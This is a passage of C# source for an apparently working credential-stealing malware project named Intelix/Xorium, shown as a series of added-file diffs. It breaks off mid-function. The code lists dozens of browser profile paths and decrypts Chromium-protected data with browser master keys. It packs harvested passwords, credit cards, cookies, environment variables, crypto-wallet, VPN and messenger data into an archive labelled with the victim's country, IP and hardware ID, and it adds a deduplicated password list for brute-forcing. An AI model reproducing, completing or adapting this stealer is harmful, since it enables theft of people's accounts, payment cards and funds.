/// </summary>
public void Dispose()
{
Dispose(true);
GC.SuppressFinalize(this);
}
protected virtual void Dispose(bool disposing)
{
if (disposing)
{
lock (_readLock)
{
_read = false;
}
if (_prc == null)
return;
if (!_prc.HasExited)
{
try
{
_prc.Kill();
}
catch
{
}
}
if (_inputWriter != null)
{
_inputWriter.Close();
_inputWriter = null;
}
_prc.Dispose();
_prc = null;
}
}
}
}
@@ -0,0 +1,29 @@
using System;
using System.Text;
namespace Intelix.Helper.Data;
public class ArchiveStructure
{
private readonly string _rootFolderName;
public string RootFolderName => _rootFolderName;
public ArchiveStructure(string countryCode, string ipAddress, string hwid)
{
DateTime now = DateTime.Now;
string date = now.ToString("yyyy-M-d");
string time = now.ToString("H_m_s");
_rootFolderName = $"{countryCode}_{ipAddress}_{date} {time}_{hwid}";
}
public string GetPath(string relativePath)
{
if (string.IsNullOrEmpty(relativePath))
{
return _rootFolderName;
}
return $"{_rootFolderName}/{relativePath}";
}
}
@@ -0,0 +1,382 @@
using System;
using System.Collections;
using System.Collections.Concurrent;
using System.Collections.Generic;
using System.IO;
using System.Linq;
using System.Text;
using System.Text.RegularExpressions;
namespace Intelix.Helper.Data;
public class ConsolidatedFilesGenerator
{
public static void GenerateConsolidatedFiles(InMemoryZip zip, Counter counter, string publicIp, string countryCode, string hwid)
{
GeneratePasswordsFile(zip);
GenerateCreditCardsFile(zip);
GenerateUserInformationFile(zip, publicIp, countryCode, hwid);
GenerateEnvironmentFile(zip);
GenerateBruteFile(zip);
GenerateDomainDetectsFile(zip);
GenerateInstalledSoftwareFile(zip);
}
private static void GeneratePasswordsFile(InMemoryZip zip)
{
List<string> allPasswords = new List<string>();
foreach (var entry in zip.GetAllEntries())
{
if (entry.Key.Contains("Browser/Logins/") && entry.Key.EndsWith(".txt"))
{
try
{
string content = Encoding.UTF8.GetString(entry.Value);
string[] lines = content.Split(new[] { "\n", "\r\n" }, StringSplitOptions.None);
string fileName = Path.GetFileName(entry.Key);
bool hasData = false;
for (int i = 0; i < lines.Length; i++)
{
string line = lines[i];
if (line.StartsWith("URL:") || line.StartsWith("Hostname:"))
{
allPasswords.Add(line);
hasData = true;
}
else if (line.StartsWith("Username:") || line.StartsWith("Password:"))
{
allPasswords.Add(line);
}
else if (string.IsNullOrWhiteSpace(line) && hasData && i < lines.Length - 1 && !string.IsNullOrWhiteSpace(lines[i + 1]))
{
allPasswords.Add("Application: Browser/Logins/" + fileName);
allPasswords.Add("===============");
hasData = false;
}
}
if (hasData)
{
allPasswords.Add("Application: Browser/Logins/" + fileName);
allPasswords.Add("===============");
}
}
catch
{
}
}
}
if (allPasswords.Count > 0)
{
zip.AddTextFile("Passwords.txt", string.Join("\n", allPasswords));
}
}
private static void GenerateCreditCardsFile(InMemoryZip zip)
{
ConcurrentBag<string> allCreditCards = new ConcurrentBag<string>();
foreach (var entry in zip.GetAllEntries())
{
if ((entry.Key.Contains("Browser/Credits/") || entry.Key.Contains("CreditCards/")) && entry.Key.EndsWith(".txt"))
{
try
{
string content = Encoding.UTF8.GetString(entry.Value);
if (!string.IsNullOrWhiteSpace(content))
{
allCreditCards.Add(content);
}
}
catch
{
}
}
}
if (allCreditCards.Count > 0)
{
zip.AddTextFile("CreditCards.txt", string.Join("\n\n", allCreditCards));
}
}
private static void GenerateUserInformationFile(InMemoryZip zip, string publicIp, string countryCode, string hwid)
{
StringBuilder sb = new StringBuilder();
DateTime now = DateTime.Now;
sb.AppendLine($"Log date: {now:dd MMM yy HH:mm} MSK");
sb.AppendLine("Traffic: src");
sb.AppendLine($"HWID: {hwid}");
sb.AppendLine($"Country: {countryCode}");
sb.AppendLine($"IP: {publicIp}");
foreach (var entry in zip.GetAllEntries())
{
if (entry.Key.Contains("Information.txt"))
{
try
{
string content = Encoding.UTF8.GetString(entry.Value);
string[] lines = content.Split(new[] { "\n", "\r\n" }, StringSplitOptions.None);
foreach (string line in lines)
{
if (line.Contains("System Language:") || line.Contains("Processor:") ||
line.Contains("Installed RAM:") || line.Contains("OS Product:") ||
line.Contains("OS Build:") || line.Contains("OS Arch:") ||
line.Contains("CPU Name:") || line.Contains("Logical Cores:") ||
line.Contains("RAM Total:") || line.Contains("RAM Available:") ||
line.Contains("GPU:") || line.Contains("Computer Name:") ||
line.Contains("Domain Name:") || line.Contains("MachineID:") ||
line.Contains("Product Key:") || line.Contains("User:") ||
line.Contains("Machine:") || line.Contains("Now:") ||
line.Contains("Input ISO:") || line.Contains("Hwid:") ||
line.Contains("Clipboard:") || line.Contains("External IP:") ||
line.Contains("Internal IP:") || line.Contains("Default Gateway:") ||
line.Contains("User Domain:") || line.Contains("CLR Version:"))
{
string processedLine = line;
if (line.Contains("OS Product:"))
{
processedLine = "Operation System: " + line.Substring(line.IndexOf("OS Product:") + 11).Trim();
}
else if (line.Contains("OS Build:"))
{
processedLine = "Operation System: " + processedLine;
}
else if (line.Contains("CPU Name:"))
{
processedLine = "Processor: " + line.Substring(line.IndexOf("CPU Name:") + 9).Trim();
}
else if (line.Contains("Installed RAM:"))
{
processedLine = line.Replace("RAM Total (MB):", "Installed RAM:");
}
else if (line.Contains("User:"))
{
processedLine = "User Name: " + line.Substring(line.IndexOf("User:") + 5).Trim();
}
else if (line.Contains("Machine:"))
{
processedLine = "Computer Name: " + line.Substring(line.IndexOf("Machine:") + 8).Trim();
}
else if (line.Contains("External IP:"))
{
continue;
}
sb.AppendLine(processedLine);
}
}
}
catch
{
}
break;
}
}
sb.AppendLine("-------------");
zip.AddTextFile("UserInformation.txt", sb.ToString());
}
private static void GenerateEnvironmentFile(InMemoryZip zip)
{
StringBuilder sb = new StringBuilder();
foreach (DictionaryEntry entry in Environment.GetEnvironmentVariables())
{
sb.AppendLine($"{entry.Key}={entry.Value}");
}
zip.AddTextFile("Environment.txt", sb.ToString());
}
private static void GenerateBruteFile(InMemoryZip zip)
{
ConcurrentBag<string> passwords = new ConcurrentBag<string>();
HashSet<string> uniquePasswords = new HashSet<string>();
foreach (var entry in zip.GetAllEntries())
{
if (entry.Key.Contains("Browser/Logins/") && entry.Key.EndsWith(".txt"))
{
try
{
string content = Encoding.UTF8.GetString(entry.Value);
MatchCollection matches = Regex.Matches(content, @"Password:\s*(.+)", RegexOptions.Multiline);
foreach (Match match in matches)
{
string password = match.Groups[1].Value.Trim();
if (!string.IsNullOrEmpty(password) && uniquePasswords.Add(password))
{
passwords.Add(password);
}
}
}
catch
{
}
}
}
if (passwords.Count > 0)
{
zip.AddTextFile("Brute.txt", string.Join("\n", passwords));
}
}
private static void GenerateDomainDetectsFile(InMemoryZip zip)
{
Dictionary<string, int> loginDomains = new Dictionary<string, int>();
Dictionary<string, int> cookieDomains = new Dictionary<string, int>();
foreach (var entry in zip.GetAllEntries())
{
if (entry.Key.Contains("Browser/Logins/") && entry.Key.EndsWith(".txt"))
{
try
{
string content = Encoding.UTF8.GetString(entry.Value);
MatchCollection matches = Regex.Matches(content, @"(?:URL:|Hostname:)\s*(?:https?://)?(?:www\.)?([^/\s]+)", RegexOptions.IgnoreCase);
foreach (Match match in matches)
{
string domain = match.Groups[1].Value.Trim().ToLower();
if (!string.IsNullOrEmpty(domain))
{
if (!loginDomains.ContainsKey(domain))
{
loginDomains[domain] = 0;
}
loginDomains[domain]++;
}
}
}
catch
{
}
}
else if (entry.Key.Contains("Browser/Cookies/") && entry.Key.EndsWith(".txt"))
{
try
{
string content = Encoding.UTF8.GetString(entry.Value);
MatchCollection matches = Regex.Matches(content, @"(?:\.)?([a-zA-Z0-9][a-zA-Z0-9-]{1,61}[a-zA-Z0-9]?\.[a-zA-Z]{2,})", RegexOptions.IgnoreCase);
foreach (Match match in matches)
{
string domain = match.Groups[1].Value.Trim().ToLower();
if (!string.IsNullOrEmpty(domain))
{
if (!cookieDomains.ContainsKey(domain))
{
cookieDomains[domain] = 0;
}
cookieDomains[domain]++;
}
}
}
catch
{
}
}
}
StringBuilder sb = new StringBuilder();
if (loginDomains.Count > 0)
{
sb.AppendLine("LoginData:");
int index = 1;
foreach (var domain in loginDomains.OrderByDescending(d => d.Value))
{
sb.AppendLine($"{index}) [{GetDomainName(domain.Key)}] {domain.Key}({domain.Value})");
index++;
}
}
if (cookieDomains.Count > 0)
{
sb.AppendLine("Cookies:");
int index = 1;
foreach (var domain in cookieDomains.OrderByDescending(d => d.Value))
{
sb.AppendLine($"{index}) [{GetDomainName(domain.Key)}] {domain.Key}({domain.Value})");
index++;
}
}
if (sb.Length > 0)
{
zip.AddTextFile("DomainDetects.txt", sb.ToString());
}
}
private static string GetDomainName(string domain)
{
string[] parts = domain.Split('.');
if (parts.Length >= 2)
{
return parts[parts.Length - 2];
}
return domain;
}
private static void GenerateInstalledSoftwareFile(InMemoryZip zip)
{
foreach (var entry in zip.GetAllEntries())
{
if (entry.Key.Contains("InstalledSoftware.txt"))
{
try
{
string content = Encoding.UTF8.GetString(entry.Value);
string[] lines = content.Split(new[] { "\n", "\r\n" }, StringSplitOptions.RemoveEmptyEntries);
List<string> formattedLines = new List<string>();
int index = 1;
foreach (string line in lines)
{
if (line.Contains(" | ") && !line.StartsWith("Name") && !line.Contains("---"))
{
string[] parts = line.Split(new[] { " | " }, StringSplitOptions.None);
if (parts.Length >= 3)
{
string name = parts[0].Trim();
string path = parts[1].Trim();
string version = parts[2].Trim();
string publisher = "Unknown";
if (parts.Length > 3)
{
publisher = parts[3].Trim();
}
formattedLines.Add($"{index}) {name} [{version}] - {publisher}");
index++;
}
}
}
if (formattedLines.Count > 0)
{
zip.AddTextFile("InstalledSoftware.txt", string.Join("\n", formattedLines));
}
}
catch
{
}
break;
}
}
}
}
@@ -0,0 +1,194 @@
using System.Collections.Concurrent;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using Intelix.Helper.Encrypted;
namespace Intelix.Helper.Data;
public class Counter
{
public class CounterBrowser
{
public string Profile;
public string BrowserName;
public ConcurrentLong Cookies;
public ConcurrentLong Password;
public ConcurrentLong CreditCards;
public ConcurrentLong AutoFill;
public ConcurrentLong RestoreToken;
public ConcurrentLong MaskCreditCard;
public ConcurrentLong MaskedIban;
}
public class CounterApplications
{
public string Name;
public ConcurrentBag<string> Files = new ConcurrentBag<string>();
}
public ConcurrentBag<string> FilesGrabber = new ConcurrentBag<string>();
public ConcurrentBag<string> CryptoDesktop = new ConcurrentBag<string>();
public ConcurrentBag<string> CryptoChromium = new ConcurrentBag<string>();
public ConcurrentBag<CounterBrowser> Browsers = new ConcurrentBag<CounterBrowser>();
public ConcurrentBag<CounterApplications> Applications = new ConcurrentBag<CounterApplications>();
public ConcurrentBag<CounterApplications> Vpns = new ConcurrentBag<CounterApplications>();
public ConcurrentBag<CounterApplications> Games = new ConcurrentBag<CounterApplications>();
public ConcurrentBag<CounterApplications> Messangers = new ConcurrentBag<CounterApplications>();
public void Collect(InMemoryZip zip)
{
List<string> list = new List<string>();
list.Add("\r\n \r\n __ __ _ \r\n \\ \\/ /___ _ __ (_)_ _ _ __ ___ \r\n \\ // _ \\| '__|| | | | | '_ ` _ \\ \r\n / \\ (_) | | | | |_| | | | | | |\r\n /_/\\_\\___/|_| |_|\\__,_|_| |_| |_|\r\n ");
list.Add(" Developer @aesxor");
list.Add("");
List<string[]> masterKeys = LocalState.GetMasterKeys();
if (masterKeys.Count() > 0)
{
list.Add(string.Format("[Keys] [--{0}--] [{1}]", masterKeys.Count(), string.Join(", ", masterKeys.Select((string[] k) => Paths.GetBrowserName(k[0])).Distinct())));
foreach (string[] item in masterKeys)
{
list.Add(" [" + Paths.GetBrowserName(item[0]) + " " + item[1] + "] " + item[2]);
}
list.Add("");
}
if (Browsers.Count() > 0)
{
list.Add(string.Format("[Browsers] [--{0}--] [{1}]", Browsers.Count(), string.Join(", ", Browsers.Select((CounterBrowser b) => b.BrowserName).ToArray())));
foreach (CounterBrowser browser in Browsers)
{
list.Add(" - " + browser.Profile);
if ((long)browser.Cookies != 0L)
{
list.Add($" [Cookies {(long)browser.Cookies}]");
}
if ((long)browser.Password != 0L)
{
list.Add($" [Passwords {(long)browser.Password}]");
}
if ((long)browser.CreditCards != 0L)
{
list.Add($" [CreditCards {(long)browser.CreditCards}]");
}
if ((long)browser.AutoFill != 0L)
{
list.Add($" [AutoFill {(long)browser.AutoFill}]");
}
if ((long)browser.RestoreToken != 0L)
{
list.Add($" [RestoreToken {(long)browser.RestoreToken}]");
}
if ((long)browser.MaskCreditCard != 0L)
{
list.Add($" [MaskCreditCard {(long)browser.MaskCreditCard}]");
}
if ((long)browser.MaskedIban != 0L)
{
list.Add($" [MaskedIban {(long)browser.MaskedIban}]");
}
list.Add("");
}
list.Add("");
}
if (Applications.Count() > 0)
{
list.Add(string.Format("[Applications] [--{0}--] [{1}]", Applications.Count(), string.Join(", ", Applications.Select((CounterApplications b) => b.Name).ToArray())));
foreach (CounterApplications application in Applications)
{
list.Add(" [Name " + application.Name + "]");
foreach (string item2 in application.Files.Reverse())
{
list.Add(" - " + item2);
}
list.Add("");
}
list.Add("");
}
if (Games.Count() > 0)
{
list.Add(string.Format("[Games] [--{0}--] [{1}]", Games.Count(), string.Join(", ", Games.Select((CounterApplications b) => b.Name).ToArray())));
foreach (CounterApplications game in Games)
{
list.Add(" [Name " + game.Name + "]");
foreach (string item3 in game.Files.Reverse())
{
list.Add(" - " + item3);
}
list.Add("");
}
list.Add("");
}
if (Messangers.Count() > 0)
{
list.Add(string.Format("[Messangers] [--{0}--] [{1}]", Messangers.Count(), string.Join(", ", Messangers.Select((CounterApplications b) => b.Name).ToArray())));
foreach (CounterApplications messanger in Messangers)
{
list.Add(" [Name " + messanger.Name + "]");
foreach (string item4 in messanger.Files.Reverse())
{
list.Add(" - " + item4);
}
list.Add("");
}
list.Add("");
}
if (Vpns.Count() > 0)
{
list.Add(string.Format("[Vpns] [--{0}--] [{1}]", Vpns.Count(), string.Join(", ", Vpns.Select((CounterApplications b) => b.Name).ToArray())));
foreach (CounterApplications vpn in Vpns)
{
list.Add(" [Name " + vpn.Name + "]");
foreach (string item5 in vpn.Files.Reverse())
{
list.Add(" - " + item5);
}
list.Add("");
}
list.Add("");
}
if (CryptoChromium.Count() > 0)
{
list.Add($"[CryptoChromium] [--{CryptoChromium.Count()}--]");
foreach (string item6 in CryptoChromium)
{
list.Add(" - " + item6);
}
list.Add("");
}
if (CryptoDesktop.Count() > 0)
{
list.Add($"[CryptoDesktop] [--{CryptoDesktop.Count()}--]");
foreach (string item7 in CryptoDesktop)
{
list.Add(" - " + item7);
}
list.Add("");
}
if (FilesGrabber.Count() > 0)
{
list.Add($"[FilesGrabber] [--{FilesGrabber.Count()}--]");
foreach (string item8 in FilesGrabber)
{
list.Add(" - " + item8);
}
list.Add("");
}
zip.AddTextFile("IntelIX.txt", string.Join("\n", list));
}
}
@@ -0,0 +1,156 @@
using System;
using System.Collections.Concurrent;
using System.Collections.Generic;
using System.IO;
using System.IO.Compression;
using System.Text;
namespace Intelix.Helper.Data;
public sealed class InMemoryZip : IDisposable
{
private readonly ConcurrentDictionary<string, byte[]> _entries = new ConcurrentDictionary<string, byte[]>(StringComparer.OrdinalIgnoreCase);
private readonly object _buildLock = new object();
private bool _disposed;
private string _rootFolderPrefix = string.Empty;
public int Count => _entries.Count;
public void SetRootFolderPrefix(string prefix)
{
if (string.IsNullOrEmpty(prefix))
{
_rootFolderPrefix = string.Empty;
}
else
{
_rootFolderPrefix = NormalizeEntryName(prefix) + "/";
}
}
private static string NormalizeEntryName(string name)
{
if (string.IsNullOrWhiteSpace(name))
{
throw new ArgumentException("Entry name is null or empty", "name");
}
name = name.Replace('\\', '/').Trim('/');
if (name.Length != 0)
{
return name;
}
throw new ArgumentException("Invalid entry name", "name");
}
private string ApplyRootPrefix(string entryPath)
{
if (string.IsNullOrEmpty(_rootFolderPrefix))
{
return entryPath;
}
string normalized = NormalizeEntryName(entryPath);
if (normalized.StartsWith(_rootFolderPrefix, StringComparison.OrdinalIgnoreCase))
{
return normalized;
}
return _rootFolderPrefix + normalized;
}
public void AddFile(string entryPath, byte[] content)
{
if (_disposed)
{
throw new ObjectDisposedException("InMemoryZip");
}
if (content != null && content.Length != 0)
{
string key = ApplyRootPrefix(entryPath);
byte[] copy = new byte[content.Length];
Buffer.BlockCopy(content, 0, copy, 0, content.Length);
_entries.AddOrUpdate(key, copy, (string text, byte[] old) => copy);
}
}
public void AddTextFile(string entryPath, string text)
{
if (!string.IsNullOrEmpty(text))
{
AddFile(entryPath, Encoding.UTF8.GetBytes(text));
}
}
public void AddDirectoryFiles(string sourceDirectory, string targetEntryDirectory = "", bool recursive = true)
{
if (_disposed)
{
throw new ObjectDisposedException("InMemoryZip");
}
if (string.IsNullOrEmpty(sourceDirectory))
{
throw new ArgumentException("sourceDirectory");
}
if (!Directory.Exists(sourceDirectory))
{
return;
}
SearchOption searchOption = (recursive ? SearchOption.AllDirectories : SearchOption.TopDirectoryOnly);
string[] files = Directory.GetFiles(sourceDirectory, "*", searchOption);
foreach (string text in files)
{
string text2 = text.Substring(sourceDirectory.Length).TrimStart(Path.DirectorySeparatorChar, Path.AltDirectorySeparatorChar);
string text3 = (string.IsNullOrEmpty(targetEntryDirectory) ? text2 : Path.Combine(targetEntryDirectory, text2));
text3 = text3.Replace('\\', '/');
try
{
byte[] content = File.ReadAllBytes(text);
AddFile(text3, content);
}
catch
{
}
}
}
public byte[] ToArray(CompressionLevel compression = CompressionLevel.Fastest)
{
if (_disposed)
{
throw new ObjectDisposedException("InMemoryZip");
}
lock (_buildLock)
{
using MemoryStream memoryStream = new MemoryStream();
using (ZipArchive zipArchive = new ZipArchive(memoryStream, ZipArchiveMode.Create, leaveOpen: true, Encoding.UTF8))
{
foreach (KeyValuePair<string, byte[]> entry in _entries)
{
using Stream stream = zipArchive.CreateEntry(entry.Key, compression).Open();
byte[] value = entry.Value;
stream.Write(value, 0, value.Length);
}
}
return memoryStream.ToArray();
}
}
public IEnumerable<KeyValuePair<string, byte[]>> GetAllEntries()
{
return _entries;
}
public void Clear()
{
_entries.Clear();
}
public void Dispose()
{
if (!_disposed)
{
_disposed = true;
_entries.Clear();
}
}
}
@@ -0,0 +1,121 @@
using System;
using System.IO;
namespace Intelix.Helper.Data;
public static class Paths
{
public static string appdata = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData);
public static string localappdata = Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData);
public static string[] Discord = new string[4]
{
appdata + "\\discord",
appdata + "\\discordcanary",
appdata + "\\Lightcord",
appdata + "\\discordptb"
};
public static string[] Chromium = new string[66]
{
appdata + "\\Lulumi-browser",
appdata + "\\kingpinbrowser",
appdata + "\\Falkon\\Profiles",
appdata + "\\Hola\\chromium_profile",
appdata + "\\Opera Software\\Opera Stable",
appdata + "\\Opera Software\\Opera GX Stable",
localappdata + "\\Battle.net",
localappdata + "\\GhostBrowser",
localappdata + "\\ColibriBrowser",
localappdata + "\\Min\\User Data",
localappdata + "\\Coowon\\Coowon",
localappdata + "\\Uran\\User Data",
localappdata + "\\Kinza\\User Data",
localappdata + "\\Blisk\\User Data",
localappdata + "\\Xvast\\User Data",
localappdata + "\\Torch\\User Data",
localappdata + "\\CryptoTab Browser",
localappdata + "\\Comodo\\User Data",
localappdata + "\\Kometa\\User Data",
localappdata + "\\liebao\\User Data",
localappdata + "\\Chedot\\User Data",
localappdata + "\\K-Melon\\User Data",
localappdata + "\\Orbitum\\User Data",
localappdata + "\\Vivaldi\\User Data",
localappdata + "\\Slimjet\\User Data",
localappdata + "\\Iridium\\User Data",
localappdata + "\\Maxthon\\User Data",
localappdata + "\\Maxthon3\\User Data",
localappdata + "\\Nichrome\\User Data",
localappdata + "\\Chromodo\\User Data",
localappdata + "\\QIP Surf\\User Data",
localappdata + "\\Chromium\\User Data",
localappdata + "\\BitTorrent\\Maelstrom",
localappdata + "\\Globus VPN\\User Data",
localappdata + "\\CentBrowser\\User Data",
localappdata + "\\Amigo\\User\\User Data",
localappdata + "\\MapleStudio\\ChromePlus",
localappdata + "\\7Star\\7Star\\User Data",
localappdata + "\\Mail.Ru\\Atom\\User Data",
localappdata + "\\Comodo\\Dragon\\User Data",
localappdata + "\\UCBrowser\\User Data_i18n",
localappdata + "\\Google\\Chrome\\User Data",
localappdata + "\\Coowon\\Coowon\\User Data",
localappdata + "\\CocCoc\\Browser\\User Data",
localappdata + "\\AOL\\AOL Shield\\User Data",
localappdata + "\\Microsoft\\Edge\\User Data",
localappdata + "\\uCozMedia\\Uran\\User Data",
localappdata + "\\Element Browser\\User Data",
localappdata + "\\Sputnik\\Sputnik\\User Data",
localappdata + "\\Elements Browser\\User Data",
localappdata + "\\CCleaner Browser\\User Data",
localappdata + "\\360Chrome\\Chrome\\User Data",
localappdata + "\\Tencent\\QQBrowser\\User Data",
localappdata + "\\Naver\\Naver Whale\\User Data",
localappdata + "\\Baidu\\BaiduBrowser\\User Data",
localappdata + "\\360Browser\\Browser\\User Data",
localappdata + "\\Google(x86)\\Chrome\\User Data",
localappdata + "\\Epic Privacy Browser\\User Data",
localappdata + "\\CatalinaGroup\\Citrio\\User Data",
localappdata + "\\Yandex\\YandexBrowser\\User Data",
localappdata + "\\MapleStudio\\ChromePlus\\User Data",
localappdata + "\\AVAST Software\\Browser\\User Data",
localappdata + "\\BraveSoftware\\Brave-Browser\\User Data",
localappdata + "\\NVIDIA Corporation\\NVIDIA GeForce Experience",
localappdata + "\\BraveSoftware\\Brave-Browser-Nightly\\User Data",
localappdata + "\\Fenrir Inc\\Sleipnir5\\setting\\modules\\ChromiumViewer"
};
public static string[] Gecko = new string[18]
{
appdata + "\\Mozilla\\Firefox\\Profiles",
appdata + "\\Waterfox\\Profiles",
appdata + "\\K-Meleon\\Profiles",
appdata + "\\Thunderbird\\Profiles",
appdata + "\\Comodo\\IceDragon\\Profiles",
appdata + "\\8pecxstudios\\Cyberfox\\Profiles",
appdata + "\\NETGATE Technologies\\BlackHaw\\Profiles",
appdata + "\\Moonchild Productions\\Pale Moon\\Profiles",
appdata + "\\Ghostery Browser\\Profiles",
appdata + "\\Undetectable\\Profiles",
appdata + "\\Sielo\\profiles",
appdata + "\\Waterfox\\Profiles",
appdata + "\\conkeror.mozdev.org\\conkeror\\Profiles",
appdata + "\\Netscape\\Navigator\\Profiles",
appdata + "\\Mozilla\\SeaMonkey\\Profiles",
appdata + "\\FlashPeak\\SlimBrowser\\Profiles",
appdata + "\\Avant Profiles",
appdata + "\\Flock\\Profiles"
};
public static string GetBrowserName(string path)
{
string[] array = path.Split(Path.DirectorySeparatorChar);
if (path.Contains("Opera"))
{
return array[6].Replace(" Stable", "");
}
return array[5];
}
}
@@ -0,0 +1,99 @@
using System;
using System.Text;
namespace Intelix.Helper.Encrypted;
public static class AesGcm
{
private const int MacBitSize = 128;
private const int NonceBitSize = 96;
private const int TagBytes = 16;
private const int NonceBytes = 12;
private const int HeaderBytes = 3;
public static byte[] DecryptBrowser(byte[] encryptedData, byte[] masterKey10, byte[] masterKey20, bool checkprefix)
{
if (encryptedData.Length < 31)
{
return null;
}
string text = Encoding.ASCII.GetString(encryptedData, 0, 3);
byte[] array = new byte[12];
Buffer.BlockCopy(encryptedData, 3, array, 0, 12);
int num = 15;
int num2 = encryptedData.Length - num - 16;
if (num2 < 0)
{
return null;
}
byte[] array2 = new byte[num2];
if (num2 > 0)
{
Buffer.BlockCopy(encryptedData, num, array2, 0, num2);
}
byte[] array3 = new byte[16];
Buffer.BlockCopy(encryptedData, encryptedData.Length - 16, array3, 0, 16);
byte[] array4 = ((text == "v20") ? masterKey20 : ((text == "v10") ? masterKey10 : null));
if (array4 == null)
{
return null;
}
byte[] array5 = AesGcm256.Decrypt(array4, array, null, array2, array3);
if (array5 == null)
{
return null;
}
if (checkprefix && HasPrefix(array5))
{
if (array5.Length <= 32)
{
return array5;
}
int num3 = 0;
for (int i = 0; i < 32; i++)
{
byte b = array5[i];
if (b >= 32 && b <= 126)
{
num3++;
}
if (num3 > 2)
{
break;
}
}
if (num3 > 2)
{
if (array5.Length <= 32)
{
return new byte[0];
}
byte[] array6 = new byte[array5.Length - 32];
Array.Copy(array5, 32, array6, 0, array6.Length);
return array6;
}
}
return array5;
}
private static bool HasPrefix(byte[] plainText)
{
if (plainText.Length < 32)
{
return false;
}
int num = 0;
for (int i = 0; i < 32; i++)
{
if (plainText[i] >= 32 && plainText[i] <= 126)
{
num++;
}
}
return num > 2;
}
}
@@ -0,0 +1,383 @@
using System;
namespace Intelix.Helper.Encrypted;
public class AesGcm256
{
private static readonly byte[] SBox = new byte[256]
{
99, 124, 119, 123, 242, 107, 111, 197, 48, 1,
103, 43, 254, 215, 171, 118, 202, 130, 201, 125,
250, 89, 71, 240, 173, 212, 162, 175, 156, 164,
114, 192, 183, 253, 147, 38, 54, 63, 247, 204,
52, 165, 229, 241, 113, 216, 49, 21, 4, 199,
35, 195, 24, 150, 5, 154, 7, 18, 128, 226,
235, 39, 178, 117, 9, 131, 44, 26, 27, 110,
90, 160, 82, 59, 214, 179, 41, 227, 47, 132,
83, 209, 0, 237, 32, 252, 177, 91, 106, 203,
190, 57, 74, 76, 88, 207, 208, 239, 170, 251,
67, 77, 51, 133, 69, 249, 2, 127, 80, 60,
159, 168, 81, 163, 64, 143, 146, 157, 56, 245,
188, 182, 218, 33, 16, 255, 243, 210, 205, 12,
19, 236, 95, 151, 68, 23, 196, 167, 126, 61,
100, 93, 25, 115, 96, 129, 79, 220, 34, 42,
144, 136, 70, 238, 184, 20, 222, 94, 11, 219,
224, 50, 58, 10, 73, 6, 36, 92, 194, 211,
172, 98, 145, 149, 228, 121, 231, 200, 55, 109,
141, 213, 78, 169, 108, 86, 244, 234, 101, 122,
174, 8, 186, 120, 37, 46, 28, 166, 180, 198,
232, 221, 116, 31, 75, 189, 139, 138, 112, 62,
181, 102, 72, 3, 246, 14, 97, 53, 87, 185,
134, 193, 29, 158, 225, 248, 152, 17, 105, 217,
142, 148, 155, 30, 135, 233, 206, 85, 40, 223,
140, 161, 137, 13, 191, 230, 66, 104, 65, 153,
45, 15, 176, 84, 187, 22
};
private static readonly byte[] Rcon = new byte[256]
{
0, 1, 2, 4, 8, 16, 32, 64, 128, 27,
54, 108, 216, 171, 77, 154, 47, 94, 188, 99,
198, 151, 53, 106, 212, 179, 125, 250, 239, 197,
145, 57, 114, 228, 211, 189, 97, 194, 159, 37,
74, 148, 51, 102, 204, 131, 29, 58, 116, 232,
203, 141, 1, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0
};
private byte[] Key;
private byte[,] RoundKeys;
public AesGcm256(byte[] key)
{
if (key.Length != 32)
{
throw new ArgumentException("Key length must be 256 bits.");
}
Key = new byte[32];
Array.Copy(key, Key, 32);
KeyExpansion();
}
public static byte[] Decrypt(byte[] key, byte[] iv, byte[] aad, byte[] cipherText, byte[] authTag)
{
return new AesGcm256(key).Decrypt(cipherText, authTag, iv, aad);
}
private void KeyExpansion()
{
int num = 8;
int num2 = 4;
int num3 = 14;
RoundKeys = new byte[num2 * (num3 + 1), 4];
for (int i = 0; i < num; i++)
{
RoundKeys[i, 0] = Key[4 * i];
RoundKeys[i, 1] = Key[4 * i + 1];
RoundKeys[i, 2] = Key[4 * i + 2];
RoundKeys[i, 3] = Key[4 * i + 3];
}
byte[] array = new byte[4];
for (int j = num; j < num2 * (num3 + 1); j++)
{
array[0] = RoundKeys[j - 1, 0];
array[1] = RoundKeys[j - 1, 1];
array[2] = RoundKeys[j - 1, 2];
array[3] = RoundKeys[j - 1, 3];
if (j % num == 0)
{
byte b = array[0];
array[0] = array[1];
array[1] = array[2];
array[2] = array[3];
array[3] = b;
array[0] = SBox[array[0]];
array[1] = SBox[array[1]];
array[2] = SBox[array[2]];
array[3] = SBox[array[3]];
array[0] ^= Rcon[j / num];
}
else if (num > 6 && j % num == 4)
{
array[0] = SBox[array[0]];
array[1] = SBox[array[1]];
array[2] = SBox[array[2]];
array[3] = SBox[array[3]];
}
RoundKeys[j, 0] = (byte)(RoundKeys[j - num, 0] ^ array[0]);
RoundKeys[j, 1] = (byte)(RoundKeys[j - num, 1] ^ array[1]);
RoundKeys[j, 2] = (byte)(RoundKeys[j - num, 2] ^ array[2]);
RoundKeys[j, 3] = (byte)(RoundKeys[j - num, 3] ^ array[3]);
}
}
private void AddRoundKey(byte[,] state, int round)
{
for (int i = 0; i < 4; i++)
{
for (int j = 0; j < 4; j++)
{
state[j, i] ^= RoundKeys[round * 4 + i, j];
}
}
}
private void SubBytes(byte[,] state)
{
for (int i = 0; i < 4; i++)
{
for (int j = 0; j < 4; j++)
{
